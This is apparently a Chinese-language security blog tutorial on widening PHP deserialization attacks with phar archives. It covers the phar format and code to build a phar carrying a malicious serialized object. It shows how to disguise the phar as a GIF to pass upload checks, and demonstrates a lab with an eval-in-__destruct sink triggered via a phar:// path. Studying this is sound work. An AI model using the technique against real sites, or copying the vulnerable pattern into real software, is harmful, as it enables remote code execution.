通过phar拓宽反序列化漏洞攻击面

phar介绍

PHP5.3之后支持了类似java的jar包,名为phar,可以用来将多个文件打包成一个phar文件,phar可以选择是否进行压缩,可以选择压缩的格式。

phar格式

a Stub

phar必须设置一个stub,可理解为一个标志,格式为xxx<?php xxx;__HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

a manifest describing the contents

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,有序列化就有反序列化,这是上述攻击手法最核心的地方。

the contents

被压缩文件的内容。

signature

签名,放在文件末尾。

phar例子

enter description here

1
2
3
4
5
6
7
8
9
10
11
12
class flag{
var $file='phar';
}

@unlink('shell.phar');
$phar=new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('te.txt','asd');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$o=new flag();
$phar->setMetaData($o);
$phar->stopBuffering();

示例代码添加了一个内容为’comrade’的文本文件到phar中,然后把metaData设置为testObject的对象。要注意的是,addFromString是一定要有的,不然不会生成phar(phar一定要有被压缩文件内容)。可以看到,testObject是以序列化后的字符串的形式存在phar中的。用metadata进行反序列化,思路如下:

1
2
1.本地构造好带有恶意metadata的phar
2.php有很多的文件处理函数在通过php://phar解析phar文件时,都会将metadata反序列化,从而触发反序列化漏洞

写一个简单的例子enter description here可以看到,$data被替换成了comradezzz,形成了反序列化漏洞。在这里,把file_exists()换成很多其他的文件处理函数都可以触发反序列化。enter description here

将phar伪装成其他格式的文件

php识别phar文件只需要stub有xxx<?php xxx;__HALT_COMPILER();?>格式就可以,所以,在<?php之前的内容是可以任意构造的,比如说,将文件头改为GIF89a来伪装成gif文件:enter description hereenter description here可以看到,phar被识别成了gif。这里提一下,在用php的Phar生成phar文件的时候,文件后缀必须是phar,不然会报错,但是,在生成完之后再自己重命名一下,这时候仍然是可以正常触发反序列化漏洞的,文件名并没有影响。

demo

这里模拟一个限制上传文件类型的环境:
file_upload.php,后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif
file_upload.html,文件上传表单
unseri.php,有file_exists(),而且存在__destruct()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
//file_upload.php
<?php

function judge($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2);
echo $bin;
fclose($file);
$strInfo = @unpack("c2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch ($typeCode) {
case 7790:
$fileType = 'exe';
break;
case 7784:
$fileType = 'midi';
break;
case 8297:
$fileType = 'rar';
break;
case 255216:
$fileType = 'jpg';
break;
case 7173:
$fileType = 'gif';
break;
case 6677:
$fileType = 'bmp';
break;
case 13780:
$fileType = 'png';
break;
default:
echo 'unknown';
}
return $fileType;
}

$sandbox = '/var/www/html/unser/upload';
@mkdir($sandbox);
@chdir($sandbox);

if (!empty($_FILES['file'])) {
if (!in_array($_FILES['file']['type'], ['image/jpeg', 'image/png', 'image/gif'])) {
die('not allowed!MIME');
}

$filename =$_FILES['file']['name'];
if (!is_array($filename)) {
$file = explode('.', strtolower($filename));
}
$ext = end($file);
if (!in_array($ext, ['jpg', 'png', 'gif'])) {
die('not allowed!suffix');
}
if (move_uploaded_file($_FILES['file']['tmp_name'], $sandbox . '/' . $filename)) {
$type=judge($sandbox.'/'.$filename);
if(!in_array($type,['jpeg', 'png', 'gif'])){
@unlink( $sandbox . '/' . $filename);
die('not allowed!illegal file header');
}
echo 'upload success!!';
echo 'filepath:' . $sandbox . '/' . $filename;
} else {
echo 'upload failed!!';
}
}
?>

这个后端检测了文件头,文件名和MIME,算是比较严格的检测了。

1
2
3
4
5
6
7
8
9
10
11
12
13
//file_upload.html
<!DOCTYPE html>
<html>
<head>
<title>file_upload</title>
</head>
<body>
<form action='file_upload.php' method='POST' enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value='fffuck'>
</form>
</body>
</html>

1
2
3
4
5
6
7
8
9
10
//unser.php
<?php
$filename=$_GET['filename'];
class comrade{
var $data='phpinfo();';
function __destruct(){
eval($this->data);
}
}
file_exists($filename);

首先我们在本地构造一个pharenter description here然后将它的后缀改成gif,上传成功enter description here这时候,在unseri.php处传入filename=phar://upload/comrade.gif即可触发反序列化漏洞enter description here要注意的是,生成了phar之后,就不要去手动改文件头了,那样会触发反序列化失败,修改文件头要在生成phar的时候就完成。

Referer

https://xz.aliyun.com/t/2715
http://rango.swoole.com/archives/168
https://paper.seebug.org/680/#23-phar